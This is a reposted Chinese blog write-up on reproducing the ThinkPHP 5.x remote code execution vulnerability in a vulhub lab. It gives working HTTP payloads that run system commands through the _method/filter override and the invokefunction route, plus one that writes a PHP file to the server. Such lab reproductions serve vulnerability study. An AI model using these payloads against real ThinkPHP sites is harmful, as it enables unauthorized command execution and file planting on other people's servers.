ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
生活随笔
收集整理的這篇文章主要介紹了
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本遠程代碼執行漏洞
漏洞概述:
- ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架。借鑒Struts框架的Action對象,同時也使用面向對象的開發結構和MVC模式。1月11日,ThinkPHP官方發布新版本5.0.24,在1月14日和15日發布兩個更新,這幾次更新都修復了遠程代碼執行漏洞,對于5.0.x、5.1.x、5.2.x 這幾個版本,都無需登入可以進行遠程代碼執行。
漏洞版本:
- 5.0.x
- 5.1.x
- 5.2.x
漏洞搭建:
- 利用vulhub漏洞平臺(簡單粗暴,可一鍵生成漏洞!)進行快速搭建,cd 到thinkphp目錄,任意選擇一個版本,然后docker-compose up -d
- 5.1.x之后,必須在本地搭建,vulhub未提供。
- 如圖所示搭建成功,走起!
漏洞復現:
- 分兩個版本5.0.x和5.1.x、5.2.x,分別驗證。
1.版本5.0.x
-
將控制的url參數s的設置為captcha,并且設置post數據:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
- -
成功執行命令
-
針對于這個版本還有一個漏洞,主要由于框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的遠程命令執行漏洞。
-
遠程執行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
寫文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i
-
2.版本5.1.x、5.2.x
- 這兩個版本現在用的很少,并且針對于這兩個版本有點雞肋,需要index.php文件中跳過報錯提示。 語句:error_reporting(0);
- Payload:a=system&b=whoami&_method=filter
漏洞修復:
- 及時打補丁。
- 前方道路坎坷,記得及時行樂。
總結:
- 這兩個版本的遠程漏洞本質上都是變量覆蓋漏洞,在一處存在缺陷的方法中沒有對用戶輸入做嚴格判斷,通過傳遞_method參數覆蓋了配置文件的_method,導致可以訪問Request類的任意函數,而在Request的構造函數中又創建了惡意的成員變量,導致后面的命令執行;而在5.1和5.2版本中則是直接覆蓋過濾器,在忽略運行異常時可以觸發漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,余生很長,請多指教。
總結
以上是生活随笔為你收集整理的ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: docker更换国内镜像源
- 下一篇: Kunyu(坤舆)